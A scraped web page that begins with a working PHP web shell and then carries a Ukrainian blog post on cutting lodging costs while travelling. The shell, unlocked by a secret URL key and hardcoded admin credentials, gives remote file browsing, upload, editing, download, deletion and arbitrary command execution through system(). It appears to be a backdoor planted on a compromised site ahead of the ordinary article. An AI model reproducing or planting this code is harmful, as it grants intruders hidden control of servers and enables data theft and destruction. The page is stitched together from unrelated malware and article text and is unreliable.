if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Як зекономити на проживанні під час подорожей без шкоди комфорту – collectives.berlin

Your digital paradise.

Як зекономити на проживанні під час подорожей без шкоди комфорту

Визначтеся з часом поїздки. Уникайте популярних святкових днів та шкільних канікул, poehali.com.ua коли ціни на готелі злітають до небес. Вибираючи менш завантажені періоди, ви можете знайти значно привабливіші пропозиції.

Розгляньте альтернативи готелям. Будинки для відпочинку, хостели та платформи для обміну житлом часто пропонують більш вигідні умови. Крім того, ви можете скористатися можливостями зайняти кімнату у місцевих мешканців, що забезпечує не лише економію, а й унікальний досвід.

Не забувайте про спеціальні пропозиції та знижки. Регулярно перевіряйте акції на веб-сайтах бронювання, підпишіться на розсилки готелів і туристичних компаній. Це допоможе вам бути в курсі найкращих цін.

Плануйте свій бюджет заздалегідь. Визначте, скільки готові витратити, і дотримуйтеся цього ліміту. Створіть список пріоритетних витрат, щоб уникнути спонтанних покупок і зберегти контроль над фінансами.

Поради по вибору доступних варіантів житла

Шукайте варіанти на платформах, які спеціалізуються на короткострокових орендах. Окрім великих сайтів, звертайте увагу на локальні сервіси, що пропонують жилий фонд за нижчими ставками. Часто приватні особи створюють оголошення на менших ресурсах, де конкуренція нижча, а ціни доступніші.

Гнучкість у виборі часу

Оренда житла частково залежить від сезону. Вибір дати може суттєво вплинути на вартість. Наприклад, уникнення пікових днів або святкових періодів дозволяє знизити витрати. Зверніть увагу на приватні пропозиції у будні дні, коли попит значно менший.

Технології допомагають зекономити: встановіть відповідні додатки для моніторингу цін. Вони автоматично сповіщають про зниження вартості оренди, що дозволить скористатися найвигіднішими пропозиціями, не витрачаючи при цьому час на щоденний моніторинг.

Обирайте альтернативи готелям

Асоції з традиційним проживанням можуть обмежити ваш вибір. Розгляньте варіанти, такі як хостели, садиби або обмін житлом. Вони часто пропонують комфорт за доступними цінами, а спільні приміщення дозволяють зекономити на їжі завдяки спільним кухням.

Як знайти знижки та акції на бронювання

Регулярно перевіряйте спеціалізовані сайти, які пропонують порівняння цін на готелі та квартири, такі як Booking.com, Agoda або Trivago. Вони часто мають сезонні знижки або промо-коди, які не завжди відображаються на основних платформах. Підписка на розсилки може дати доступ до ексклюзивних пропозицій, які регулярно оновлюються.

Слідкуйте за соціальними мережами обраних вами закладів. Багато готелів та підприємств пропонують акції лише для підписників Instagram або Facebook. Використовуйте хештеги на кшталт #знижки або #акції для пошуку цікавих пропозицій. Також враховуйте, що в дні з меншим попитом, як-от в середині тижня, вартість проживання може суттєво знизитись.

Користуйтеся програмами лояльності, якщо часто зупиняєтеся в одних і тих же мережах готелів. Накопичуйте бали, які потім можна обміняти на безкоштовні ночівлі або знижки. Зверніть увагу на акції для нових користувачів, де можна отримати додаткову знижку при першому бронюванні.

Leave a Reply

Your email address will not be published. Required fields are marked *